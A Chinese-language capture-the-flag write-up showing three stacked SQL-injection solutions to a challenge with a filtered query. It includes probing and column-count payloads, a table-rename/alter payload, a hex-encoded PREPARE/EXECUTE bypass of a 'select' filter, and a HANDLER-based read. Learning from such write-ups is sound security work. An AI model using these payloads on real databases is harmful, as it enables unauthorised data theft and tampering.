第一种解法 堆叠注入
网页环境
判断是否是字符型注入
1'
判断是否存在关键字过滤
select
联合查询被过滤,只能用堆叠注入了
查看有几个字段
1' order by 2#
正常回显
1' order by 3#
回显报错,可以看出只有两个字段
查看所有数据库
1'; show databases;
查看所有数据表
1'; show tables;
爆words数据表的字段
1';show columns from words;#
爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)
1';show columns from
1919810931114514;#
可以看到这两个表words表有两个字段,而另一个只有一个字段
后台SQL查询语句应该是:
select * from words where id=
所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514
改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。
构造payload:
1';rename table words to BaiMao;rename table
1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
rename修改表名 alter修改已知的列 add增加 int整数类型 unsigned无符号类型 not null- 指示某列不能存储 NULL 值。 primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。 auto_increment-自动赋值,默认从1开始。
成功回显flag:
注意没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。
第二种解法 编码逃逸 绕过滤
由于select被过滤,考虑使用编码进行绕过
使用select查询就很简单了
构造payload
select *from where
1919810931114514``(注意这里使用反引号把这个数字包括住,md编辑器打不上去)
*号查询数据表里面的全部内容,这就是爆出flag的原理
进行16进制编码加密
73656c656374202a2066726f6d20603139313938313039333131313435313460
最终payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
- prepare…from…是预处理语句,会进行编码转换。
- execute用来执行由SQLPrepare创建的SQL语句。
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
- 0x就是把后面的编码格式转换成16进制编码格式
- 那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。 参考:https://blog.csdn.net/qq_44657899/article/details/10323914
回显flag:
第三种解法 handler代替select
select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。
构造payload:
1'; handler
1919810931114514open as
a; handler
a read next;#
handler代替select,以一行一行显示内容 open打开表 as更改表的别名为a read next读取数据文件内的数据次数
上传payload,回显flag: